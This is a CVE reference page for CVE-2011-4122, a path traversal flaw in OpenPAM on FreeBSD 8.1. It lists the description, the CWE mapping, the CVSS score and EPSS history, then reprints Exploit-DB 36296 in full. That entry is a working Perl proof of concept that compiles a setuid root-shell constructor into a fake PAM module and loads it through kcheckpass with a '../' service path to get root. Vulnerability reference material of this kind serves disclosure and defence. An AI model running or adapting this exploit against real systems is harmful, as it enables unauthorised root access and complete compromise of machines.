CVE-2011-4122

CVE Descriptions

Directory traversal vulnerability in openpam_configure.c in OpenPAM before r478 on FreeBSD 8.1 allows local users to load arbitrary DSOs and gain privileges via a .. (dot dot) in the service_name argument to the pam_start function, as demonstrated by a .. in the -c option to kcheckpass.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V2	6.9		AV:L/AC:M/Au:N/C:C/I:C/A:C	nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	3.22%	–	–
2022-02-13	–	–	3.22%	–	–
2022-04-03	–	–	3.22%	–	–
2022-09-18	–	–	3.22%	–	–
2023-03-12	–	–	–	0.06%	–
2024-02-11	–	–	–	0.06%	–
2024-03-03	–	–	–	0.06%	–
2024-04-14	–	–	–	0.06%	–
2024-06-02	–	–	–	0.06%	–
2024-07-07	–	–	–	0.05%	–
2024-08-04	–	–	–	0.05%	–
2024-08-11	–	–	–	0.05%	–
2024-09-01	–	–	–	0.05%	–
2024-11-24	–	–	–	0.05%	–
2024-12-22	–	–	–	0.06%	–
2025-01-26	–	–	–	0.06%	–
2025-01-19	–	–	–	0.06%	–
2025-01-25	–	–	–	0.06%	–
2025-03-18	–	–	–	–	0.62%
2025-04-15	–	–	–	–	0.62%
2025-04-23	–	–	–	–	0.5%
2025-04-23	–	–	–	–	0.5,%

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Date	Percentile
2022-02-06	65%
2022-02-13	66%
2022-04-03	83%
2022-09-18	84%
2023-03-12	25%
2024-02-11	24%
2024-03-03	25%
2024-04-14	26%
2024-06-02	27%
2024-07-07	21%
2024-08-04	2%
2024-08-11	21%
2024-09-01	2%
2024-11-24	21%
2024-12-22	26%
2025-01-26	27%
2025-01-19	26%
2025-01-25	27%
2025-03-18	68%
2025-04-15	69%
2025-04-23	64%
2025-04-23	64%

Exploit information

Exploit Database EDB-ID : 36296

Publication date : 2011-11-08 23h00 +00:00
Author : IKCE
EDB Verified : Yes

source: https://www.securityfocus.com/bid/50607/info OpenPAM is prone to a local privilege-escalation vulnerability. Local attackers may exploit this issue to execute arbitrary code with superuser privileges. Successfully exploiting this issue will result in the complete compromise of affected computers. #!/usr/bin/perl # kcheckpass invoking pam_start() with user provided # service argument, what a bad idea. OpenPAM accepts that. # Maybe this pam_start() vulnerability is exploitable via # other vectors as well. # Vuln tested on a FreeBSD 8.1. It does not affect # Linux PAM, as it is checking for / character # (C) 2011 by some dude, meant as a PoC! Only use on your own # machine and on your own risk!!! # # This commit is likely to fix the bug: # http://trac.des.no/openpam/changeset/478/trunk/lib/openpam_configure.c # my $kcheckpass = "/usr/local/kde4/lib/kde4/libexec/kcheckpass"; # build suid shell open(O,">/tmp/slam.c") or die $!; print O<<EOC; #include <stdio.h> #include <unistd.h> void __attribute__((constructor)) init() { char *a[] = {"/bin/sh", NULL}; setuid(0); execve(*a, a, NULL); } EOC close(O); # build fake pam module system("gcc -fPIC -Wall -c /tmp/slam.c -o /tmp/slam.o;gcc -shared -o /tmp/slam.so /tmp/slam.o"); # build fake PAM service file open(O,">/tmp/pamslam") or die $!; print O<<EOP; auth sufficient /tmp/slam.so EOP close(O); print "We need more Elchsalami! Happy birthday dude!\n"; exec("$kcheckpass -c ../../../tmp/pamslam -m classic");